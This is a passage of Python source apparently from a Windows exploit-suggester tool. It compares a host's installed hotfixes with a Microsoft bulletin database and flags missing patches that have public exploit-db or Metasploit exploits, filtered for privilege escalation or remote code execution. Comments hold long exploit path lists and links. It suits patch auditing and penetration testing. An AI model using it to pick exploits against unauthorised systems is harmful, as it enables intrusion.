    ALERT("an error occured while running, not enough arguments", ALERT.BAD)
    exit(1)

  ALERT("done")
  # end main()

def run(database):

  # variables used
  ostext=None
  name=None
  release=None
  servicepack=None
    
  # will default to 32-bit, but can be 64 bit or itanium
  architecture=None

  hotfixes=set([])
  bulletinids=set([])

  potential=[]
  
  vulns={}
  ids=set([])

  cmdoutput = []

  # test for database
  if not ARGS.database:
    ALERT("please supply a MSSB database file with the --database or -d flag, this can be downloaded using the --update command", ALERT.BAD)
    exit(1)

  # read from ostext first
  if ARGS.ostext:
    ALERT("getting OS information from command line text")
        
    name=getname(ARGS.ostext)
    release=getrelease(ARGS.ostext)
    servicepack=getservicepack(ARGS.ostext)
    architecture=getarchitecture(ARGS.ostext)
    
    # the os name at least has to be identified
    if not name:
      ALERT("unable to determine the windows version command line text from '%s'" % ARGS.ostext, ALERT.BAD)
      exit(1)

  # get the systeminfo information from the input file
  if ARGS.systeminfo:

    ALERT("attempting to read from the systeminfo input file")

    # when reading the systeminfo file, we want to attempt to detect it using chardet
    # if this doesn't work, we will loop through a list of common encodings and try them all
    encodings = ['utf-8', 'utf-16', 'utf-16-le', 'utf-16-be', 'iso-8859-2']

    detected_encoding =  detect_encoding(ARGS.systeminfo)

    # insert detected encoding to the front of the list
    if detected_encoding: 
      if ARGS.verbose: ALERT("detected encoding of file as '%s'" % detected_encoding)
      encodings.insert(0, detected_encoding)

    cmdfile = None
    cmdoutput = None
    
    # now loop through all encodings, with the detected one first (if it was possible)
    for encoding in encodings:

      if ARGS.verbose: ALERT("  attempting to read with '%s' encoding" % encoding)          

      # if we can read the file, and read the command output, we are done with the loop
      try: 
        cmdfile = io.open(ARGS.systeminfo, "r", encoding=encoding) # throws UnicodeDecodeError      
        cmdoutput = cmdfile.readlines() # throws UnicodeError
        break

      except (UnicodeError, UnicodeDecodeError) as e:
        ALERT("could not read file using '%s' encoding: %s" % (encoding, e), ALERT.BAD)
  
      # file might not exist
      except:
        ALERT("could not read from input file specified: %s" % ARGS.systeminfo, ALERT.BAD)
        exit(1)  

    # general catchall if somehow it was able to keep processing
    if not cmdfile or not cmdoutput:
      ALERT("could not read from input file, or could not detect encoding", ALERT.BAD)
      exit(1)
    
    # file read successfully
    ALERT("systeminfo input file read successfully (%s)" % encoding, ALERT.GOOD)

  # error
  if not ARGS.systeminfo and not ARGS.ostext and platform.system() != 'Windows':
    ALERT("please run from a Windows machine, or provide an input file using --systeminfo, or use the --ostext option to get data with no patch information", ALERT.BAD)
    exit(1)

  # parse the systeminfo information
  hotfix=False

  # loop through the systeminfo input
  for haystack in cmdoutput:

    # only attempt to set the version, arch, service pack if there is no
    # ostext flag
    if not ARGS.ostext:

      # when detecting the operating system version, every line (independent of language)
      # appears to have Microsoft Windows in it, sometimes with (R)
      if "Microsoft" in haystack and "Windows" in haystack and not name:
        name = getname(haystack)

      # the windows release is similar to the above and has the text 'Microsoft Windows' in the text
      if "Microsoft" in haystack and "Windows" in haystack and not release:
        release = getrelease(haystack)

      # similar to OS, there is the words 'Service Pack' 
      if "Service Pack" in haystack and not servicepack:
        servicepack = getservicepack(haystack)
      
      # get architecture only if -based is in the line, and --ostext hasn't been used
      if "-based" in haystack and not architecture: 
        architecture=getarchitecture(haystack)

    # look for kbs
    if ("KB" in haystack or "]: " in haystack):
      patch=getpatch(haystack)
      
      # if a patch was parsed
      if patch:
        if ARGS.verbose: ALERT("found hotfix %s" % patch)
        hotfixes.add(patch)

  # now process the hotfixes argument input
  if ARGS.hotfixes:
  
    # open the file
    try:
      cmdfile = open(ARGS.hotfixes, "r")

    except IOError as e:
      ALERT("could not read from input file specified: %s" % ARGS.hotfixes, ALERT.BAD)
      exit(1)

    ALERT("reading from the hotfixes input file")
    hotfixesfile = cmdfile.readlines()
    
    # loop through hotfixes file input
    for haystack in hotfixesfile:
      # look for kbs
      if ("KB" in haystack or "]: " in haystack):
        patch=getpatch(haystack)
        
        # if a patch was parsed
        if patch:
          if ARGS.verbose: ALERT("found hotfix %s" % patch)
          hotfixes.add(patch)
        
  if ARGS.verbose:
    ALERT("name: %s; release: %s; servicepack: %s; architecture: %s" % (name, release, servicepack, architecture))

  # verify that a windows os was at least able to be parsed
  if not name:
    if ARGS.systeminfo:
      ALERT("unable to determine the windows versions from the input file specified. consider using --ostext option to force detection (example: --ostext 'windows 7 sp1 64-bit')", ALERT.BAD)
      exit(1)

  if ARGS.verbose:
    ALERT("name: %s" % name)
    ALERT("release: %s" % release)
    ALERT("service pack: %s" % servicepack)
    ALERT("architecture: %s" % architecture)

  ALERT("querying database file for potential vulnerabilities")

  # potential, all matches within the CSV database for the name,release,sp,arch
  # bulletinds, set of the above with MSIDs (good to keep count)

  # get the potential bulletins
  try:
    for row in csv.reader(StringIO.StringIO(database)):
      bulletinid=row[1]
      affected=row[6]

      if isaffected(name, release, servicepack, architecture, affected):
        
        # only add the bulletin if it's not already in the list
        if bulletinid not in bulletinids:
          potential.append(row)
          bulletinids.add(bulletinid)

          if ARGS.verbose:
            ALERT("%s has been added to potential list '%s'" % (bulletinid, affected))
            
  except csv.Error, e:
    ALERT('could not parse database file, make sure it is in the proper format', ALERT.BAD)
    exit(1)
         
  # there should always be some potential vulns, because of the amount of windows software and false positives  
  if len(bulletinid) == 0:
    ALERT("there are no potential vulnerabilities for, ensure you're searching a valid windows OS", ALERT.BAD)
    exit(1)

  ALERT("comparing the %s hotfix(es) against the %s potential bulletins(s) with a database of %s known exploits" % (len(hotfixes), len(bulletinids), getexploit()))

  # start removing the vulns because of hotfixes
  for row in potential:

    # ms bulletin
    bulletinid=row[1]
    kb=row[2]
    componentkb=row[7]

    for hotfix in hotfixes:
    
      # if either the hotfixes match the kb or componentkb columns, and the bulletin is in the list
      # of potential bulletins
      if (hotfix == kb or hotfix == componentkb) and bulletinid in bulletinids:

        if ARGS.verbose:
          ALERT("  %s hotfix triggered a removal of %skb and the %s bulletin; componentkb is %s" % (hotfix,kb,bulletinid,componentkb))

        # get the linked ms, this will automatically calculate the superseded by as well
        linkedms = getlinkedms([bulletinid], csv.reader(StringIO.StringIO(database)))
        linkedmsstr = ''
        
        # calculate the pretty string, only care when verbose
        if len(linkedms) > 0:
          for m in linkedms:
            linkedmsstr += ' ' + m

        if ARGS.verbose:
        
          if hotfix == kb:
            ALERT("    due to presence of KB%s (Bulletin KB) removing%s bulletin(s)" % (kb, linkedmsstr))
            
          elif componentkb == kb:
            ALERT("    due to presence of KB%s (Component KB) removing%s bulletin(s)" % (componentkb, linkedmsstr))

        bulletinids = bulletinids.difference(linkedms)
        potential.remove(row)

  ALERT("there are now %s remaining vulns" % len(bulletinids))

  # search local exploits only
  if ARGS.local:
    ALERT("searching for local exploits only")
    for row in potential:
      bulletinid = row[1]
      impact = row[4]

      if bulletinid in bulletinids and not "elevation of privilege" in impact.lower():

        remove = getlinkedms([bulletinid], csv.reader(StringIO.StringIO(database)))
        
        if ARGS.verbose:
          ALERT("   removing %s (total of %s MS ids), because of its impact %s" % (bulletinid, len(remove), impact))

        bulletinids = bulletinids.difference(remove)
        potential.remove(row)

  # search remote exploits only
  if ARGS.remote:
    ALERT("searching for remote exploits only")
    for row in potential:
      bulletinid = row[1]
      impact = row[4]

      if bulletinid in bulletinids and not "remote code execution" in impact.lower():

        remove = getlinkedms([bulletinid], csv.reader(StringIO.StringIO(database)))
        
        if ARGS.verbose:
          ALERT("   removing %s (total of %s MS ids), because of its impact %s" % (bulletinid, len(remove), impact))

        bulletinids = bulletinids.difference(remove)
        potential.remove(row)
  
  # print windows version
  version=getversion(name, release, servicepack, architecture)

  ALERT("[E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin", ALERT.GOOD)
  ALERT("windows version identified as '%s'" % version, ALERT.GOOD)

  # spacer
  ALERT("")

  # vulns, the dictionary of the bulletins based off of the potential bulletins
  for row in potential:
    id = row[1]
    for bulletinid in bulletinids:
      if bulletinid == id:
        title = row[5]
        kb = row[2]
        severity = row[3]
        if id not in ids:
          vulns[id] = [title,kb,severity]
          ids.add(id)

  # alerted, if a bulletin has been alerted to the user so that it doesn't appear twice
  #          this occurs when a bulletin has multiple parents
  # msids, the actual data for all of the relevant msids (the row from the CSV)
  alerted = set()
  msids = sorted(vulns, reverse=True)

  # loop through the bulletinids which is the set of the actual bulletins that are to
  # be alerted
  for msid in msids:

    ## don't alert twice, no matter the case
    if msid not in alerted: 

      # get the exploitability alert rating
      exploit = getexploit(msid)

      # only display the message, if the exploit flag isn't used
      # or if it is used, and the alert level is MSF or EXP
      if ARGS.audit or (exploit == ALERT.MSF or exploit == ALERT.EXP):

        alert = ALERT.NORMAL
        if exploit: alert = exploit
      
        ALERT("%s: %s (%s) - %s" % (msid, vulns[msid][0], vulns[msid][1], vulns[msid][2]), alert)
        alerted.add(msid)

        # only attempt to display linked/sub msids based on cli arguments
        if ARGS.sub:

          # linked ms, the children of this msid
          linked = set(getlinkedms([msid], csv.reader(StringIO.StringIO(database))))
          linked = linked.intersection(msids)
          
	  # loop through the linked msids, and only display those that qualify and
          # those that have not been alerted yet
          for lmsid in sorted(linked, reverse=True):
            if lmsid in msids and lmsid not in alerted:
              lexploit = getexploit(lmsid)
              lalert = ALERT.NORMAL
              if ARGS.audit or (lexploit == ALERT.MSF or lexploit == ALERT.EXP):
                if lexploit: lalert = lexploit
                ALERT("|_%s: %s (%s) - %s" % (lmsid, vulns[lmsid][0], vulns[lmsid][1], vulns[lmsid][2]), lalert)
		# only allow duplicate events to be displayed when command-line args passed
		if not ARGS.duplicates: alerted.add(lmsid)

  # end run()


# attempt to detect character encoding of a file
# otherwise return None
# https://stackoverflow.com/questions/3323770/character-detection-in-a-text-file-in-python-using-the-universal-encoding-detect
def detect_encoding(filename):
  try:
    import chardet
    data = open(filename, "r").read()
    result = chardet.detect(data)
    encoding = result['encoding']
    return encoding
  except:
    return None

# the trace command is used to determine linked MS bulletins
# TODO much of this is duplicated from run(). should be merged
def trace(database):

  # convert to upper
  bulletinid = ARGS.trace.upper()
  ALERT("searching for bulletin id %s" % bulletinid)

  # get linked msids
  lmsids =  getlinkedms([bulletinid], csv.reader(StringIO.StringIO(database)))

  msids = []

  if ARGS.ostext: 
    ALERT("getting OS information from command line text")

    name=getname(ARGS.ostext)
    release=getrelease(ARGS.ostext)
    servicepack=getservicepack(ARGS.ostext)
    architecture=getarchitecture(ARGS.ostext)

    if ARGS.verbose:
      ALERT("name: %s" % name)
      ALERT("release: %s" % release)
      ALERT("service pack: %s" % servicepack)
      ALERT("architecture: %s" % architecture)

    # the os name at least has to be identified
    if not name:
      ALERT("unable to determine the windows version command line text from '%s'" % ARGS.ostext, ALERT.BAD)
      exit(1)

    # get linked msids, loop through the row
    for row in csv.reader(StringIO.StringIO(database)):
      msid = row[1]
      affected = row[6]

      if msid in lmsids:  
        # debug
        #print ("%s,%s,%s,%s,%s,%s" % (msid, name, release, servicepack, architecture, affected))

        if isaffected(name, release, servicepack, architecture, affected) and msid not in msids: msids.append(msid)
    
      #for msid in lmsids:
      #  if msid == row[1]: 
      #    msids.append(msid)

#        if msid in lmsids and msid not in msids: msids.append(msid)
#
#      if isaffected(name, release, servicepack, architecture, affected):
#        print 11111111111
      #  print affected
        # only add the bulletin if it's part of the linked msids
 #       print lmsids
 #       print msid
  #      if msid in lmsids:
  #        msids.add(msid)
#
#          if ARGS.verbose:
#            ALERT("%s has been added to linked msids list" % msid)
 
  else: msids = lmsids

  ALERT("linked msids %s" % msids, ALERT.GOOD)

  
def patches(database):
  
  kbs = []

  # convert to upper
  bulletinid = ARGS.patches.upper()
  ALERT("searching all kb's for bulletin id %s" % bulletinid)

  # get linked msids, loop through the row
  for row in csv.reader(StringIO.StringIO(database)):
      
    bulletinkb=row[2]
    componentkb=row[7]
    
    # if there's a match
    if bulletinid in row[1]:
      kbs.append(bulletinkb)
      kbs.append(componentkb)

  ALERT("relevant kbs %s" % (sorted(set(kbs), reverse=True)), ALERT.GOOD)

def getversion(name, release, servicepack, architecture):
    
  version = "Windows " + name

  # append release first
  if release: version += " R" + release
      
  # then service pack
  if servicepack: version += " SP" + servicepack
  
  # architecture
  if architecture == "Itanium":  version += " Itanium-based"
  else: version += " %s-bit" % architecture
    
  return version


def getname(ostext):

  if ostext == False:
    return False
      
  osname=False

  osnamearray=[["xp","XP"],
               ["2000","2000"],
               ["2003","2003"],
               ["vista","Vista"],
               ["2008","2008"],
               [" 7","7"],
               [" 8","8"],
               ["2012","2012"],
               ["8.1","8.1"],
               [" 10","10"]]

  for needle in osnamearray:
    ostext = ostext.lower()
    if "windows" + needle[0] in ostext or "windows " + needle[0] in ostext or "server" + needle[0] in ostext or "server " + needle[0] in ostext:
      osname = needle[1]

  # the first loop is a more restrictive detection of the OS name, but it does not detect the following
  # > Microsoft Windows\xFF7 Entreprise 
  # so if there is no detection from the first attempt, then search on a more loosely based string of 
  # needle and space
  if not osname:
    for needle in osnamearray:
      if needle[0] + " " in ostext.lower():
        osname = needle[1]

  return osname


def getrelease(ostext):    
    
  if ostext == False:
    return False
      
  osrelease=False
  
  regex="( r| rc|release|rel)[ ]*(\d)"
  m=re.search(regex, ostext.lower())
  
  if m and m.group(2):    
    osrelease=m.group(2)
      
  return osrelease
  
def getservicepack(ostext):
    
  if ostext == False:
    return False
      
  servicepack=False
  
  regex="(sp|pack|pack:)[ ]*(\d)"
  m=re.search(regex, ostext.lower())
  if m and m.group(2):
    servicepack=m.group(2)

  return servicepack


 # architecture defaults to 32, but can be 64-bit
 # or itanium based
def getarchitecture(ostext):
  
  # default to 32-bit
  architecture="32"

  # haystack
  s = ostext.lower()
  
  # attempt to be as flexible as possible
  # matching '64-based', 'x64', ' 64', 'i64', '64bit', '64 bit', '64-bit'
  if ("64-based" in s) or ("x64" in s) or (" 64" in s) or ("i64" in s) or ("64bit" in s) or ("64 bit" in s) or ("64-bit" in s): architecture="64"

  # target Itanium with a simple search for 'tani'
  if "tani" in s: architecture="Itanium"
        
  if getname(ostext) == "2008" and getrelease(ostext) == "2" and architecture == "32":
    if ARGS.verbose:
      ALERT("forcing unidentified architecture to 64-bit because OS identified as Windows 2008 R2 (although could be Itanium and wasn't detected?)")
    architecture = "64"

  # windows server 2012 is only 64-bit arch
  if getname(ostext) == "2012" and architecture == "32":
    if ARGS.verbose:
      ALERT("forcing unidentified architecture to 64-bit because OS identified as Windows Server 2012 does not support 32-bit")
    architecture = "64"  

  return architecture

# itanium build search string
def getitanium(ostext):
    
  if ostext == False:
    return False

  regex="(tanium)"
  m=re.search(regex, ostext.lower())

  if m:
    return True

  return False

def getpatch(ostext):
    
  patch=False
  
  regex="(\d){5,10}"
  m=re.search(regex, ostext.lower())
  if m and m.group():
    patch=m.group()
  
  return patch

# get the bulletin ids from the haystack
# these are typically in the form of: 
#   MS14-009[2898860]
#   MS13-052[2833940],MS14-009[2898856]
# will return a list if found, otherwise false
def getbulletinids(haystack):
  regex="MS[\d]{2,3}-[\d]{2,3}"
  m = re.findall(regex, haystack)
  if len(m) > 0: return m
  return False

def isaffected(name, release, servicepack, architecture, haystack):

  if name == getname(haystack):

    # ensure None are set to False
    # example, if getservicepack() does not get called in the systeminfo parsing
    # then servicepack will be None. this will then fail when comparing to False. 
    if release == None: release = False
    if servicepack == None: servicepack = False
    if architecture == None: architecture = False

#    print "%s,%s,%s,%s" % (name, release, servicepack, architecture)
#    print "%s,%s,%s,%s" % (getname(haystack),getrelease(haystack),getservicepack(haystack),getarchitecture(haystack))

    n = (name == getname(haystack))
    r = (release == getrelease(haystack))
    s = (servicepack == getservicepack(haystack))
    a = (architecture == getarchitecture(haystack))

    # we ignore the architecture for 2012 servers, as there is only 64-bit
    if name == "2012": return r and s

#    print "%s,%s,%s,%s,%s" % (name, release, servicepack, architecture, (a and r and s))

    return a and r and s
    
# search entire database for linked msids
# this will also search the superseded column (11)
def getlinkedms(msids, database):

  lmsids = []

  # go through each row in the database
  for row in database:
  
    # base MS-XX
    rowid=row[1]
    
    # superseded MS-XX
    
    # first try row 12, and then row 11 for the supercedes column due to
    # differences in csv and xlrd parsing. this was a bug that might be
    # fixed now
    rowidsuper = getbulletinids(row[12])
    if rowidsuper == False: rowidsuper=getbulletinids(row[11])  
    
    rowidsuper = merge_list(rowidsuper)

    # loop through each msid for each row
    for msid in msids:
      
      # debug output, what we're working with
      #print "%s,%s,%s" % (msid, rowid, rowidsuper)
      # MS14-053,MS14-053,['MS13-052', 'MS14-009']
      # MS14-053,MS14-053,['MS13-004']
      # MS14-053,MS14-053,['MS13-004']
      # MS14-053,MS14-053,['MS13-004']
      # MS14-053,MS14-053,['MS13-004']
      # MS14-053,MS14-053,[]

      # if the msid matches the row, get the supercedes column (which is a list)
      if msid == rowid or rowid in lmsids:
        #print "%s,%s,%s" % (msid, rowid, rowidsuper)
        lmsids.append(msid)
        lmsids = lmsids + rowidsuper

  return sorted(set(lmsids), reverse=True)

# determines whether or not an msid is in a list of exploits. if msid = 0
# then it will just return the count
def getexploit(msid = 0):
# search using searchsploit
#MS Windows (ListBox/ComboBox Control) Local Exploit (MS03-045)        /windows/local/122.c
#MS Windows Utility Manager Local SYSTEM Exploit (MS04-011)          /windows/local/271.c
#MS Windows 2000 Utility Manager Privilege Elevation Exploit (MS04-019)    /windows/local/350.c
#MS Windows 2K POSIX Subsystem Privilege Escalation Exploit (MS04-020)     /windows/local/351.c
#MS Windows 2000 Universal Language Utility Manager Exploit (MS04-019)     /windows/local/352.c
#MS Windows 2K/XP Task Scheduler .job Exploit (MS04-022)           /windows/local/353.c
#MS Windows 2k Utility Manager (All-In-One) Exploit (MS04-019)         /windows/local/355.c
#MS Windows XP Task Scheduler (.job) Universal Exploit (MS04-022)      /windows/local/368.c
#MS Windows (HTA) Script Execution Exploit (MS05-016)            /windows/local/938.cpp
#MS Windows COM Structured Storage Local Exploit (MS05-012)          /windows/local/1019.c
#MS Windows CSRSS Local Privilege Escalation Exploit (MS05-018)        /windows/local/1198.c
#MS Windows 2k Kernel APC Data-Free Local Escalation Exploit (MS05-055)    /windows/local/1407.c
#MS Windows Telephony Service Command Execution Exploit (MS05-040)       /windows/local/1584.cpp
#MS Windows (NtClose DeadLock) Vulnerability PoC (MS06-030)          /windows/local/1910.c
#MS Windows XP/2K (Mrxsmb.sys) Privilege Escalation PoC (MS06-030)       /windows/local/1911.c
#Microsoft IIS ASP Stack Overflow Exploit (MS06-034)             /windows/local/2056.c
#MS Windows (Windows Kernel) Privilege Escalation Exploit (MS06-049)     /windows/local/2412.c
#MS Windows GDI Local Privilege Escalation Exploit (MS07-017)        /windows/local/3688.c
#MS Windows GDI Local Privilege Escalation Exploit (MS07-017) 2        /windows/local/3755.c
#Kodak Image Viewer TIF/TIFF Code Execution Exploit PoC (MS07-055)       /windows/local/4584.c
#Microsoft Office .WPS File Stack Overflow Exploit (MS08-011)        /windows/local/5107.c
#Microsoft Office Excel Code Execution Exploit (MS08-014)          /windows/local/5287.txt
#Microsoft Office XP SP3 PPT File Buffer Overflow Exploit (ms08-016)     /windows/local/5320.txt
#MS Windows GDI Image Parsing Stack Overflow Exploit (MS08-021)        /windows/local/5442.cpp

#MS Word Record Parsing Buffer Overflow (MS09-027)               /windows/local/14693.py
#MS Excel Malformed FEATHEADER Record Exploit (MS09-067)           /windows/local/14706.py
#MS Word Record Parsing Buffer Overflow MS09-027 (meta)            /windows/local/17177.rb
#MS Internet Explorer Object Tag Exploit (MS03-020)              /windows/remote/37.pl
#MS Windows Media Services Remote Exploit (MS03-022)             /windows/remote/48.c
#Microsoft WordPerfect Document Converter Exploit (MS03-036)         /windows/remote/92.c
#MS Windows (RPC DCOM) Scanner (MS03-039)                  /windows/remote/97.c
#MS Windows (RPC DCOM) Long Filename Overflow Exploit (MS03-026)       /windows/remote/100.c
#MS Windows (RPC DCOM2) Remote Exploit (MS03-039)              /windows/remote/103.c
#MS Windows (RPC2) Universal Exploit & DoS (RPC3) (MS03-039)         /windows/remote/109.c
#MS Windows 2000/XP Workstation Service Overflow (MS03-049)          /windows/remote/119.c
#MS Frontpage Server Extensions fp30reg.dll Exploit (MS03-051)         /windows/remote/121.c
#MS Windows Workstation Service WKSSVC Remote Exploit (MS03-049)       /windows/remote/123.c
#MS Windows XP Workstation Service Remote Exploit (MS03-049)         /windows/remote/130.c
#MS Windows Messenger Service Remote Exploit FR (MS03-043)           /windows/remote/135.c
#MS Internet Explorer URL Injection in History List (MS04-004)         /windows/remote/151.txt
#MS Windows IIS 5.0 SSL Remote buffer overflow Exploit (MS04-011)      /windows/remote/275.c
#MS Windows Lsasrv.dll RPC Remote Buffer Overflow Exploit (MS04-011)     /windows/remote/293.c
#MS Windows XP/2K Lsasrv.dll Remote Universal Exploit (MS04-011)       /windows/remote/295.c
#MS Windows JPEG GDI+ Overflow Administrator Exploit (MS04-028)        /windows/remote/475.sh
#MS Windows JPEG GDI+ Overflow Download Shellcode Exploit (MS04-028)     /windows/remote/478.c
#MS Windows JPEG GDI+ Remote Heap Overflow Exploit (MS04-028)        /windows/remote/480.c
#MS Windows Metafile (.emf) Heap Overflow Exploit (MS04-032)         /windows/remote/584.c
#MS Windows Compressed Zipped Folders Exploit (MS04-034)           /windows/remote/640.c
#MS Windows NetDDE Remote Buffer Overflow Exploit (MS04-031)         /windows/remote/734.c
#MS Internet Explorer .ANI files handling Universal Exploit (MS05-002)     /windows/remote/765.c
#MS Internet Explorer .ANI files handling Downloader Exploit (MS05-002)    /windows/remote/771.cpp
#MS Exchange Server Remote Code Execution Exploit (MS05-021)         /windows/remote/947.pl
#MS Outlook Express NNTP Buffer Overflow Exploit (MS05-030)          /windows/remote/1066.cpp
#MS Windows Message Queuing BoF Universal Exploit (MS05-017) (v.0.3)     /windows/remote/1075.c
#MS Internet Explorer (blnmgr.dll) COM Object Remote Exploit (MS05-038)    /windows/remote/1144.html
#MS Windows Plug-and-Play Service Remote Overflow (MS05-039)         /windows/remote/1146.c
#MS Windows Plug-and-Play Service Remote  Universal Exploit (MS05-039)     /windows/remote/1149.c
#Microsoft Windows DTC Remote Exploit (PoC) (MS05-051) (updated)       /windows/remote/1352.cpp
#Windows Media Player 7.1 <= 10 BMP Heap Overflow PoC (MS06-005) (2)     /windows/remote/1502.py
#MS Windows Media Player 9 Plugin Overflow Exploit (MS06-006) (meta)     /windows/remote/1504.pm
#MS Windows Media Player 10 Plugin Overflow Exploit (MS06-006)         /windows/remote/1505.html
#MS Windows Color Management Module Overflow Exploit (MS05-036) (2)      /windows/remote/1506.c
#MS Windows Media Player Plugin Overflow Exploit (MS06-006)(3)         /windows/remote/1520.pl
#MS Windows RRAS Remote Stack Overflow Exploit (MS06-025)          /windows/remote/1940.pm
#MS Windows RRAS RASMAN Registry Stack Overflow Exploit (MS06-025)       /windows/remote/1965.pm
#MS Internet Explorer (MDAC) Remote Code Execution Exploit (MS06-014)    /windows/remote/2052.sh
#MS Windows DHCP Client Broadcast Attack Exploit (MS06-036)          /windows/remote/2054.txt
#MS Windows NetpIsRemote() Remote Overflow Exploit (MS06-040)        /windows/remote/2162.pm
#Internet Explorer (MDAC) Remote Code Execution Exploit (MS06-014) (2)     /windows/remote/2164.pm
#MS Windows CanonicalizePathName() Remote Exploit (MS06-040)         /windows/remote/2223.c
#MS Windows NetpIsRemote() Remote Overflow Exploit (MS06-040) (2)      /windows/remote/2265.c
#MS Windows NetpIsRemote() Remote Overflow Exploit (MS06-040) (2k3)      /windows/remote/2355.pm
#MS Windows NetpManageIPCConnect Stack Overflow Exploit (MS06-070)       /windows/remote/2789.cpp
#MS Windows Wkssvc NetrJoinDomain2 Stack Overflow Exploit (MS06-070)     /windows/remote/2800.cpp
#MS Windows ASN.1 Remote Exploit (MS04-007)                  /windows/remote/3022.txt
#MS Internet Explorer VML Remote Buffer Overflow Exploit (MS07-004)      /windows/remote/3137.html
#MS Internet Explorer VML Download and Execute Exploit (MS07-004)      /windows/remote/3148.pl
#MS Internet Explorer Recordset Double Free Memory Exploit (MS07-009)    /windows/remote/3577.html
#MS Windows (.ANI) GDI Remote Elevation of Privilege Exploit (MS07-017)    /windows/remote/3804.txt
#MS Internet Explorer <= 7 Remote Arbitrary File Rewrite PoC (MS07-027)    /windows/remote/3892.html
#Microsoft Internet Explorer TIF/TIFF Code Execution (MS07-055)        /windows/remote/4616.pl
#MS Windows Message Queuing Service RPC BOF Exploit (MS07-065)         /windows/remote/4745.cpp
#MS Windows 2000 AS SP4 Message Queue Exploit (MS07-065)           /windows/remote/4760.txt
#Windows Media Encoder wmex.dll ActiveX BOF Exploit (MS08-053)         /windows/remote/6454.html
#MS Windows GDI (EMR_COLORMATCHTOTARGETW) Exploit MS08-021           /windows/remote/6656.txt
#MS Windows Server Service Code Execution Exploit (MS08-067) (Univ)      /windows/remote/6841.txt
#MS Windows Server Service Code Execution Exploit (MS08-067)         /windows/remote/7104.c
#SmbRelay3 NTLM Replay Attack Tool/Exploit (MS08-068)            /windows/remote/7125.txt
#MS Windows Server Service Code Execution Exploit (MS08-067) (2k/2k3)    /windows/remote/7132.py
#Microsoft XML Core Services DTD Cross-Domain Scripting PoC MS08-069     /windows/remote/7196.html
#MS Internet Explorer 7 Memory Corruption Exploit (MS09-002) (xp sp2)    /windows/remote/8079.html
#MS Internet Explorer 7 Memory Corruption Exploit (MS09-002) (py)      /windows/remote/8080.py
#MS Internet Explorer 7 Memory Corruption PoC (MS09-002) (win2k3sp2)     /windows/remote/8082.html
#MS Internet Explorer 7 Memory Corruption Exploit (MS09-002) (fast)      /windows/remote/8152.py
#Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference (MS09-050) /windows/remote/14674.txt
#Microsoft Services MS06-066 nwwks.dll                     /windows/remote/16369.rb
#Microsoft Services MS06-066 nwapi32.dll                   /windows/remote/16373.rb
#MS03-020 Internet Explorer Object Type                    /windows/remote/16581.rb
#MS03-046 Exchange 2000 XEXCH50 Heap Overflow                /windows/remote/16820.rb

# no ms number yet?
#MS??-???,http://www.exploit-db.com/exploits/30014/,P,??2914486
  exploits = [
    ['MS15-134', ALERT.EXP], # CVE 2015-6131
                             # https://www.exploit-db.com/exploits/38911/, Microsoft Windows Media Center Library Parsing RCE Vulnerability aka "self-executing" MCL File, PoC
                             # https://www.exploit-db.com/exploits/38912/, Microsoft Windows Media Center Link File Incorrectly Resolved Reference, PoC
    ['MS15-132', ALERT.EXP], # CVE 2015-6132
                             # https://www.exploit-db.com/exploits/38968/, Microsoft Office / COM Object DLL Planting with comsvcs.dll Delay Load of mqrt.dll (MS15-132), PoC
                             # CVE 2015-6128
                             # https://www.exploit-db.com/exploits/38918/, Microsoft Office / COM Object els.dll DLL Planting (MS15-134), PoC
    ['MS15-111', ALERT.EXP], # CVE 2015-2553
                             # https://www.exploit-db.com/exploits/38474/, Windows 10 Sandboxed Mount Reparse Point Creation Mitigation Bypass (MS15-111), PoC
    ['MS15-102', ALERT.EXP], # CVE 2015-2524
                             # https://www.exploit-db.com/exploits/38202/, Windows CreateObjectTask SettingsSyncDiagnostics Privilege Escalation, PoC
                             # CVE 2015-2525
                             # https://www.exploit-db.com/exploits/38200/, Windows Task Scheduler DeleteExpiredTaskAfter File Deletion Privilege Escalation, PoC
                             # CVE 2015-2528
                             # https://www.exploit-db.com/exploits/38201/, Windows CreateObjectTask TileUserBroker Privilege Escalation, PoC
    ['MS15-100', ALERT.MSF], # CVE 2015-2509
                             # https://www.exploit-db.com/exploits/38195/, MS15-100 Microsoft Windows Media Center MCL Vulnerability, MSF
                             # https://www.exploit-db.com/exploits/38151/, Windows Media Center - Command Execution (MS15-100), PoC
    ['MS15-097', ALERT.EXP], # CVE 2015-2508
                             # https://www.exploit-db.com/exploits/38198/, Windows 10 Build 10130 - User Mode Font Driver Thread Permissions Privilege Escalation, PoC
                             # CVE 2015-2527
                             # https://www.exploit-db.com/exploits/38199/, Windows NtUserGetClipboardAccessToken Token Leak, PoC
    ['MS15-078', ALERT.MSF], # CVE 2015-2426, CVE 2015-2433
                             # https://www.exploit-db.com/exploits/38222/, MS15-078 Microsoft Windows Font Driver Buffer Overflow
    ['MS15-052', ALERT.EXP], # CVE 2015-1674
                             # https://www.exploit-db.com/exploits/37052/, Windows - CNG.SYS Kernel Security Feature Bypass PoC (MS15-052), PoC
    ['MS15-051', ALERT.MSF], # CVE 2015-1701
                             # https://github.com/hfiref0x/CVE-2015-1701, Win32k Elevation of Privilege Vulnerability, PoC
                             # https://www.exploit-db.com/exploits/37367/, Windows ClientCopyImage Win32k Exploit, MSF
    ['MS15-022', ALERT.EXP], # CVE 2015-0097
                             # https://www.exploit-db.com/exploits/37657/, Microsoft Word Local Machine Zone Remote Code Execution Vulnerability, PoC
                             # https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37657.zip
    ['MS15-010', ALERT.EXP], # CVE 2015-0057
                             # https://www.exploit-db.com/exploits/37098/, Microsoft Windows - Local Privilege Escalation (MS15-010), PoC
                             # https://www.exploit-db.com/exploits/39035/, Microsoft Windows win32k Local Privilege Escalation (MS15-010), PoC
    ['MS15-001', ALERT.EXP], # CVE 2015-0002
                             # http://www.exploit-db.com/exploits/35661/, Windows 8.1 (32/64 bit) - Privilege Escalation (ahcache.sys/NtApphelpCacheControl), PoC
    ['MS14-070', ALERT.EXP], # CVE 2014 4076
                             # http://www.exploit-db.com/exploits/35936/, Microsoft Windows Server 2003 SP2 - Privilege Escalation, PoC
    ['MS14-068', ALERT.EXP], # CVE 2014-6324
                             # http://www.exploit-db.com/exploits/35474/, Windows Kerberos - Elevation of Privilege (MS14-068), PoC
    ['MS14-064', ALERT.MSF], # CVE 2014-6332
                             # https://www.exploit-db.com/exploits/37800/,  Microsoft Windows HTA (HTML Application) - Remote Code Execution (MS14-064), PoC
